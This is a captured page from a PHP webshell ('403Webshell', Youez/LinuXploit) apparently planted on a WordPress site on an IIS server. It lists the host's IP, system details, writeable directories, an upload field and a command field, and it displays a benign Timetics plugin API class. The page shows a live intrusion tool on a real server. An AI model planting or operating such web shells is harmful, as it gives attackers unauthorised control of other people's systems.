403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/Time/wp-content/plugins/timetics/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/Time/wp-content/plugins/timetics/base/api.php
<?php
/**
 * Abstract api class
 *
 * @package Timetics
 */
namespace Timetics\Base;

use WP_Error;

/**
 * Abstract class Api.
 *
 * @since 1.0.0
 */
abstract class Api extends \WP_REST_Controller {

    /**
     * Api Constructor function.
     *
     * @since 1.0.0
     *
     * @return void
     */
    public function __construct() {
        add_action( 'rest_api_init', [ $this, 'register_routes' ] );
    }

    /**
     * Register routes
     *
     * @since 1.0.0
     *
     * @return void
     */
    public function register_routes() {
        // Need to override the function on child class.
    }

    /**
     * Validate input fields.
     *
     * @since 1.0.0
     *
     * @param array $data Accepts data in array format.
     * @param array $fields Optional. Default empty array.
     *
     * @return  bool | WP_error
     */
    public function validate( $data, $fields = [] ) {
        $error = new WP_Error();

        foreach ( $fields as $field ) {
            if ( empty( $data[ $field ] ) ) {
                /* translators: Error Message */
                $error->add( $field . '_error', sprintf( esc_html__( '%s can\'t be empty', 'timetics' ), $field ) );
            }
        }

        if ( ! empty( $error->errors ) ) {
            return $error;
        }

        return true;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit